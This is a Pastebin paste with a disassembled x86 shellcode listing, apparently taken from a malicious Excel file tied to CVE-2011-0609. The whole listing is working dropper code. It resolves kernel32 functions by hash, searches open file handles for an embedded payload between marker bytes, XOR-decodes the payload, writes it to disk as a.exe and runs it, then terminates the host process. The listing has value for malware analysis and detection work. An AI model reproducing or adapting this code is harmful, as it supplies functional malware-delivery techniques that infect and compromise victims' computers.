Advertisement
villy

CVE-2011-0609 crsenvironscan.xls shellcode

Mar 14th, 2011
2,159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.                  mov     eax, large fs:30h
  2.                  mov     eax, [eax+0Ch]
  3.                  mov     esi, [eax+1Ch]
  4.                  lodsd
  5.                  mov     esi, [eax+8]    ; Get KernelBase,(such method didnt works on win7)
  6.                  jmp     loc_401274
  7.  
  8.  
  9.  
  10.  sub_401037      proc near              
  11.                  pop     eax
  12.                  sub     esp, 200h
  13.                  mov     edi, esp
  14.                  mov     [edi+8], esi
  15.                  mov     [edi+10h], eax  ; offset of ea.exe
  16.                  nop
  17.                  push    dword ptr [edi+8]
  18.                  push    0C0397ECh
  19.                  call    get_fn_by_hash
  20.                  mov     [edi+1Ch], eax  ; kernel32.GlobalAlloc
  21.                  push    dword ptr [edi+8]
  22.                  push    7CB922F6h
  23.                  call    get_fn_by_hash
  24.                  mov     [edi+20h], eax  ; kernel32.GlobalFree
  25.                  push    dword ptr [edi+8]
  26.                  push    7C0017A5h
  27.                  call    get_fn_by_hash
  28.                  mov     [edi+24h], eax  ; kernel32.CreateFileA
  29.                  push    dword ptr [edi+8]
  30.                  push    0FFD97FBh
  31.                  call    get_fn_by_hash
  32.                  mov     [edi+28h], eax  ; kernel32.CloseHandle
  33.                  push    dword ptr [edi+8]
  34.                  push    10FA6516h
  35.                  call    get_fn_by_hash
  36.                  mov     [edi+2Ch], eax  ; kernel32.ReadFile
  37.                  push    dword ptr [edi+8]
  38.                  push    0E80A791Fh
  39.                  call    get_fn_by_hash
  40.                  mov     [edi+30h], eax  ; kernel32.WriteFile
  41.                  push    dword ptr [edi+8]
  42.                  push    0C2FFB025h
  43.                  call    get_fn_by_hash
  44.                  mov     [edi+34h], eax  ; kernel32.DeleteFile
  45.                  push    dword ptr [edi+8]
  46.                  push    76DA08ACh
  47.                  call    get_fn_by_hash
  48.                  mov     [edi+38h], eax  ; kernel32.SetFilePointer
  49.                  push    dword ptr [edi+8]
  50.                  push    0E8AFE98h
  51.                  call    get_fn_by_hash
  52.                  mov     [edi+3Ch], eax  ; kernel32.WinExec
  53.                  push    dword ptr [edi+8]
  54.                  push    78B5B983h
  55.                  call    get_fn_by_hash
  56.                  mov     [edi+40h], eax  ; kernel32.TerminateProcess
  57.                  push    dword ptr [edi+8]
  58.                  push    7B8F17E6h
  59.                  call    get_fn_by_hash
  60.                  mov     [edi+44h], eax  ; kernel32.GetCurrentProcess
  61.                  push    dword ptr [edi+8]
  62.                  push    0DF7D9BADh
  63.                  call    get_fn_by_hash
  64.                  mov     [edi+48h], eax  ; kernel32.GetFileSize
  65.                  push    dword ptr [edi+10h]
  66.                  call    dword ptr [edi+34h] ; call DeleteFileA(a.exe)
  67.                  xor     esi, esi
  68.  
  69.  loc_40110F:                            
  70.                                          
  71.                  inc     esi                 ; check open handles which size greater then 65536 bytes
  72.                  lea     eax, [edi+60h]
  73.                  push    eax
  74.                  push    esi
  75.                  call    dword ptr [edi+48h] ; call GetFileSize
  76.                  cmp     eax, 0FFFFFFFFh
  77.                  jz      short loc_40110F
  78.                  cmp     eax, 10000h
  79.                  jbe     short loc_40110F
  80.                  mov     [edi+4], eax
  81.                  mov     [edi+60h], esi
  82.                  push    dword ptr [edi+4]
  83.                  push    40h
  84.                  call    dword ptr [edi+1Ch] ; GlobalAlloc(FileSize)
  85.                  mov     [edi+5Ch], eax
  86.                  push    0
  87.                  push    0
  88.                  push    0
  89.                  push    dword ptr [edi+60h]
  90.                  call    dword ptr [edi+38h] ; SetFilePointer to begin of file
  91.                  cmp     eax, 0FFFFFFFFh
  92.                  jz      short loc_401191
  93.                  push    0
  94.                  lea     ebx, [edi+70h]
  95.                  push    ebx
  96.                  push    dword ptr [edi+4]
  97.                  push    dword ptr [edi+5Ch]
  98.                  push    dword ptr [edi+60h]
  99.                  call    dword ptr [edi+2Ch] ; ReadFile
  100.                  mov     ecx, [edi+70h]
  101.                  sub     ecx, 10h
  102.                  mov     eax, [edi+5Ch]
  103.  
  104.  loc_401161:                            
  105.                  inc     eax
  106.                  cmp     dword ptr [eax], 47422E43h
  107.                  jnz     short loc_401173
  108.                  cmp     dword ptr [eax+4], 19890604h ; Find in File 43 2E 42 47 04 06 89 19
  109.                  jz      short loc_401177
  110.  
  111.  loc_401173:                            
  112.                  loop    loc_401161
  113.                  jmp     short loc_401191
  114.  ; ---------------------------------------------------------------------------
  115.  
  116.  loc_401177:                            
  117.                  add     eax, 8
  118.                  mov     [edi+14h], eax
  119.  
  120.  loc_40117D:                            
  121.                  inc     eax
  122.                  cmp     dword ptr [eax], 4B635546h
  123.                  jnz     short loc_40118F
  124.                  cmp     dword ptr [eax+4], 19820424h
  125.                  jz      short loc_40119D
  126.  
  127.  loc_40118F:                            
  128.                  loop    loc_40117D
  129.  
  130.  loc_401191:                            
  131.                  push    dword ptr [edi+5Ch]
  132.                  call    dword ptr [edi+20h]
  133.                  jnz     loc_40110F
  134.  
  135.  loc_40119D:                            
  136.                  add     eax, 8
  137.                  mov     [edi+18h], eax
  138.                  push    0
  139.                  push    80h
  140.                  push    2
  141.                  push    0
  142.                  push    0
  143.                  push    40000000h
  144.                  push    dword ptr [edi+10h]
  145.                  call    dword ptr [edi+24h] ; CreateFile
  146.                  mov     [edi+64h], eax
  147.                  mov     dword ptr [edi+6Ch], 905A4Dh
  148.                  push    0
  149.                  lea     ebx, [edi+70h]
  150.                  push    ebx
  151.                  push    4
  152.                  lea     ebx, [edi+6Ch]
  153.                  push    ebx
  154.                  push    dword ptr [edi+64h]
  155.                  call    dword ptr [edi+30h] ; WriteFile('MZxx')
  156.                  mov     eax, [edi+18h]
  157.                  sub     eax, [edi+14h]
  158.                  sub     eax, 8
  159.                  mov     ebx, [edi+14h]
  160.  
  161.  loc_4011E3:                            
  162.                  xor     [ebx], al
  163.                  inc     ebx
  164.                  dec     eax
  165.                  inc     ebx
  166.                  dec     eax
  167.                  cmp     eax, 0
  168.                  jnz     short loc_4011E3
  169.                  push    0
  170.                  lea     ebx, [edi+70h]
  171.                  push    ebx
  172.                  mov     ebx, [edi+18h]
  173.                  sub     ebx, [edi+14h]
  174.                  sub     ebx, 8
  175.                  push    ebx
  176.                  push    dword ptr [edi+14h]
  177.                  push    dword ptr [edi+64h]
  178.                  call    dword ptr [edi+30h]
  179.                  push    dword ptr [edi+64h]
  180.                  call    dword ptr [edi+28h]
  181.                  push    0
  182.                  push    dword ptr [edi+10h]
  183.                  call    dword ptr [edi+3Ch]
  184.                  push    0
  185.                  call    dword ptr [edi+44h] ; GetCurrentProcess
  186.                  push    0
  187.                  push    eax
  188.                  call    dword ptr [edi+40h] ; TerminateProcess
  189.  sub_401037      endp
  190.  
  191.  
  192.  ; =============== S U B R O U T I N E =======================================
  193.  
  194.  get_fn_by_hash  proc near              
  195.  
  196.  arg_0           = dword ptr  8
  197.  arg_4           = dword ptr  0Ch
  198.  
  199.                  push    ebp
  200.                  mov     ebp, esp
  201.                  push    edi
  202.                  mov     edi, [ebp+arg_0]
  203.                  mov     ebx, [ebp+arg_4]
  204.                  push    esi
  205.                  mov     esi, [ebx+3Ch]
  206.                  mov     esi, [ebx+esi+78h]
  207.                  add     esi, ebx
  208.                  push    esi
  209.                  mov     esi, [esi+20h]
  210.                  add     esi, ebx
  211.                  xor     ecx, ecx
  212.                  dec     ecx
  213.  
  214.  loc_40123D:                            
  215.                  inc     ecx
  216.                  lodsd
  217.                  add     eax, ebx
  218.                  push    esi
  219.                  xor     esi, esi
  220.  
  221.  loc_401244:                            
  222.                  movsx   edx, byte ptr [eax]
  223.                  cmp     dh, dl
  224.                  jz      short loc_401253
  225.                  ror     esi, 0Dh
  226.                  add     esi, edx
  227.                  inc     eax
  228.                  jmp     short loc_401244
  229.  
  230.  loc_401253:                            
  231.                  cmp     edi, esi
  232.                  pop     esi
  233.                  jnz     short loc_40123D
  234.                  pop     edx
  235.                  mov     ebp, ebx
  236.                  mov     ebx, [edx+24h]
  237.                  add     ebx, ebp
  238.                  mov     cx, [ebx+ecx*2]
  239.                  mov     ebx, [edx+1Ch]
  240.                  add     ebx, ebp
  241.                  mov     eax, [ebx+ecx*4]
  242.                  add     eax, ebp
  243.                  pop     esi
  244.                  pop     edi
  245.                  pop     ebp
  246.                  retn    8
  247.  get_fn_by_hash  endp
  248.  
  249.  
  250.  loc_401274:                            
  251.                  call    sub_401037
  252.  ; ---------------------------------------------------------------------------
  253.  aA_exe          db 'a.exe',0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement